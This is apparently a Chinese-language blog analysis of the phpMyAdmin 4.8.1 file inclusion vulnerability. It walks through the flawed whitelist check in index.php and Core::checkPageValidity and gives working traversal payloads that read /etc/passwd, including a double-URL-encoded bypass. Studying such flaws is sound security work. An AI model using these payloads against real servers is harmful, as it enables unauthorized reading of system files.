环境搭建
- composer
- phpMyAdmin 4.8.1
- Xdebug
- vscode
xdebug和vscode的详细配置看另一篇文章
VScode+XDebug远程调试ThinkPHP RCE
使用命令搭建指定版本phpmyadmin:
composer create-project phpmyadmin/phpmyadmin:4.8.1
搭建完成后还需要安装依赖:
composer update --ignore-platform-reqs
漏洞分析
源码位置在index.php的第55~63行:
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target'])&& ! preg_match('/^index/', $_REQUEST['target'])&& ! in_array($_REQUEST['target'], $target_blacklist)&& Core::checkPageValidity($_REQUEST['target'])) {include $_REQUEST['target'];exit;}
可以看到第7行有一个include $_REQUEST['target'];,但是要成功进行文件包含需要满足上面的5个条件:
- ! empty($_REQUEST[‘target’])
- is_string($_REQUEST[‘target’])
- ! preg_match(‘/^index/‘, $_REQUEST[‘target’])
- ! in_array($_REQUEST[‘target’], $target_blacklist)
- Core::checkPageValidity($_REQUEST[‘target’])
上面4个就不用说了,只看最后一个。
调用了Core类中的checkPageValidity函数,看一下代码是什么:
public static function checkPageValidity(&$page, array $whitelist = []){if (empty($whitelist)) {$whitelist = self::$goto_whitelist;}if (! isset($page) || !is_string($page)) {return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}return false;}
获取whitelist:
if (empty($whitelist)) {$whitelist = self::$goto_whitelist;}
判断whitelist的内容是否为空,是的话把goto_whitelist的内容赋值过去
goto_whitelist:
public static $goto_whitelist = array('db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_multi_table_query.php','db_structure.php','db_import.php','db_operations.php','db_search.php','db_routines.php','export.php','import.php','index.php','pdf_pages.php','pdf_schema.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php','transformation_overview.php','transformation_wrapper.php','user_password.php',);
对传递的参数进行一次in_array判断:
if (in_array($page, $whitelist)) {return true;}
如果访问的页面在whitelist直接返回true,这里肯定是不能利用。
接着phpMyAdmin还考虑到了传递的带参数的情况
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}
使用mb_substr进行一次截断,截取?之前的内容,并用in_array进行判断是否在whitelist中,而这就导致了漏洞的产生。
如果我们构造的payload中已经有一个?,并且?前面的字符串在whitelist中,那么?后面的内容程序就不管了,直接返回true,然后就开始包含文件。
payload:
index.php?target=db_sql.php?/../../../../../../../../../../etc/passwd
但是以上payload只能在linux环境下使用,因为windows的路径中不能包含?,否则会报错。
继续往下看
$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}
发现进行了一次url解码,然后和前面一样,截断判断。而当我们把链接发送到服务器时也会进行一次url解码,所以将前面的payload中的?url编码两次即可成功绕过。
index.php?target=db_sql.php%253f/../../../../../../../../../../etc/passwd
尚存在的问题
漏洞页面为index.php,而上一级目录中存在index.html,如果要包含index.html,理论上应该是
index.php?target=db_sql.php?../index.html,但是实际测试发现会报错,而当访问index.php?target=db_sql.php?../../../index.html时得到了正确的返回结果,为什么是三个上级目录?可能1:把dq_sql.php当成目录了
为什么include可以正常包含
db_sql.php?../../../index.html这样的路径可能1:把dq_sql.php当成目录了
